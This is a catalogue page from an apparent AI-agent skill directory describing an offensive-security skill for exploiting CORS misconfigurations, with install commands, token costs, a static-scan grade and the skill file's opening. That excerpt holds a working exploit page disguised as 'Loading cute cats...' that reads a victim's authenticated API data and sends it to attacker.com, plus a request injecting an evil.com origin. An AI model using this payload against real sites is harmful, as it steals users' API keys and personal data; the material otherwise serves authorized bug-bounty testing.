Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/cors-misconfiguration-exploitationWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/cors-misconfiguration-exploitation)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/cors-misconfiguration-exploitation"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/cors-misconfiguration-exploitation/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/cors-misconfiguration-exploitation"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/cors-misconfiguration-exploitation.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00067 | $0.02287 |
| Opus 5 | $0.00034 | $0.01144 |
| Sonnet 5 | $0.00013 | $0.00457 |
| Haiku 4.5 | $0.00007 | $0.00229 |
Grade C, and why
cors-misconfiguration-exploitation scanned grade C with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Hidden instructionshighPrompt injection
Directives inside HTML comments, invisible characters or bidirectional overrides are read by the model and not by the person reviewing the file.
<!-- Concept: We must host a malicious website that forces the victim's browser to make the GET request --> This is a copy
100% identical to cors-misconfiguration-exploitation — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 199 lines — stays where its author put it; the contents beside it link to each section on GitHub.
CORS Misconfiguration Exploitation
When to Use
- When auditing REST APIs (
/api/v1/user/details) that return highly sensitive user data. - When an application interacts heavily with external Subdomains (e.g.,
app.target.comtalking toapi.target.com). - When looking for a way to exfiltrate data from an authenticated session without possessing an XSS vulnerability on the target.
Prerequisites
- Authorized scope and target URLs from bug bounty program
- Burp Suite Professional (or Community) configured with browser proxy
- Familiarity with OWASP Top 10 and common web vulnerability classes
- SecLists wordlists for fuzzing and enumeration
Workflow
Phase 1: Identifying Permissive CORS Headers
# Concept: The Same-Origin Policy (SOP) prevents Website A from reading data from Website B.
# CORS is a mechanism to bypass SOP safely. If misconfigured, an attacker's website can read
# the victim's data from the vulnerable server.
# 1. Intercept a request to a sensitive endpoint (e.g., user profile data).
GET /api/private/details HTTP/1.1
Host: api.target.com
Origin: https://evil.com # Inject an attacker-controlled origin
# 2. Analyze the Response:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
{"email": "[email protected]", "apiKey": "sk_live_xyz..."}
# Assessment: CRITICAL vulnerability. Because `Allow-Origin` dynamically reflected our evil origin,
# AND `Allow-Credentials` is true, a script on evil.com can extract this user's API key.
Phase 2: Exploiting the Flaw (Building the HTML Payload)
<!-- Concept: We must host a malicious website that forces the victim's browser to make the GET request -->
<!-- and extract the API response. -->
<!-- 1. Create exploit.html on attacker.com -->
<html>
<body>
<h2>Loading cute cats...</h2>
<script>
// Initialize the cross-origin request
var req = new XMLHttpRequest();
req.onload = function() {
// When the vulnerable API responds, exfiltrate the text out to our log server
fetch('https://attacker.com/log?data=' + btoa(this.responseText));
};
// Target the vulnerable endpoint
req.open('GET', 'https://api.target.com/api/private/details', true);
// Critical: Force the browser to attach the victim's session cookies
req.withCredentials = true;
req.send();
</script>
</body>
</html>
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 199 lines · 67 tokens per session scan C 4b6d568cae3d
cors-misconfiguration-exploitation is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (5 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 67 tokens to every session and 2,287 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it C with 1 finding (hidden instructions). It is 100% identical to cors-misconfiguration-exploitation, differing in 0 lines, and is treated as a copy.
Other skills, from other repositories
cors-misconfiguration-exploitation
Identify and exploit Cross-Origin Resource Sharing (CORS) misconfigurations. Use this skill when auditing APIs or web applications that share sensitive data across domains, forcing victims' browsers to inadvertently leak private information (e.g., API keys, PII, CSRF tokens) to an attacker-controlled website.
broken-object-level-authorization
Identify and exploit Broken Object Level Authorization (BOLA), historically known as Insecure Direct Object Reference (IDOR), in API architectures. Extremely common and critical flaw where an API fails to validate whether the currently authenticated user actually owns or retains permissions over the specifically…
api-enumeration-fuzzing-discovery
Systematically discover hidden Application Programming Interfaces (APIs), uncover undocumented endpoints (Shadow APIs), and fuzz parameters. Use this skill as the pivotal first step in API Bug Hunting, transforming a basic frontend application into a vast mapped attack surface.
api-mass-assignment-exploitation
Identify and exploit Mass Assignment vulnerabilities in APIs. Use this skill when testing REST APIs or application forms that directly map user-supplied JSON or POST input to internal database objects. An attacker can inject undocumented variables (e.g., isadmin, verified) to illegally modify restricted properties.
graphql-injection-introspection
Identify and exploit GraphQL API vulnerabilities by leveraging Introspection queries to dump the entire database schema, performing query batching to bypass rate limits (brute forcing), and extracting deeply nested unauthorized data via graph relationship abuse.
command-injection-os-level
Identify and exploit OS Command Injection vulnerabilities where web applications insecurely pass user input into system shell commands. Use this skill when applications feature ping utilities, file conversions, network diagnostics, or PDF generators to execute arbitrary system commands and achieve Remote Code…